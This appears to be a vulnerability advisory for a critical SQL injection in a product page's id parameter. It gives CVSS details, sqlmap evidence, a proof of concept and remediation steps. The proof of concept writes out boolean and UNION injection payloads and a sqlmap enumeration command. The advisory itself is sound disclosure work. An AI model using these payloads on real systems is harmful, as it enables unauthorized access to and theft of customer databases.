SQL Injection in product.php id parameter
SA-2025-001
·
sql-injection
·
CWE-89
CRITICAL
9.8
CVSS v3.1
Descripción
A critical SQL injection vulnerability was discovered in the product.php page through the id parameter. The vulnerability allows for boolean-based blind, error-based, time-based blind, and UNION-based SQL injection attacks. Successful exploitation provides complete access to the MySQL database containing sensitive tables including customer data, user accounts, emails, and other business-critical data.
Activo Afectado
https://example.com/product.php?lang=1&id=567
Evidencia
sqlmap confirmed multiple injection types:
- Boolean-based blind:
AND 6957=6957 - Error-based:
EXTRACTVALUE() - Time-based blind:
SLEEP() - UNION query: 22 columns confirmed
Database enumeration revealed 30 tables including customer_user, web_users, emails, order_products.
Prueba de Concepto (PoC)
# Step 1: Boolean-based injection test
$ Navigate to:
https://example.com/product.php?lang=1&id=557 AND 6957=6957
# Step 2: UNION-based data extraction
$ id=-9932 UNION ALL SELECT NULL,...,CONCAT(0x71706271,...),NULL,...-- -
# Step 3: Automated exploitation
$ sqlmap -u 'https://example.com/product.php?lang=1&id=567' --dbs
[*] available databases:
[*] information_schema
[*] sql_americanfood
Remediación INMEDIATA
- 1.Backup the application and database
- 2.Replace all dynamic SQL queries with parameterized prepared statements
- 3.Implement input validation and sanitization for all user inputs
- 4.Use stored procedures where appropriate
- 5.Apply principle of least privilege to database connections
- 6.Enable SQL query logging and monitoring
- 7.Consider implementing a Web Application Firewall (WAF)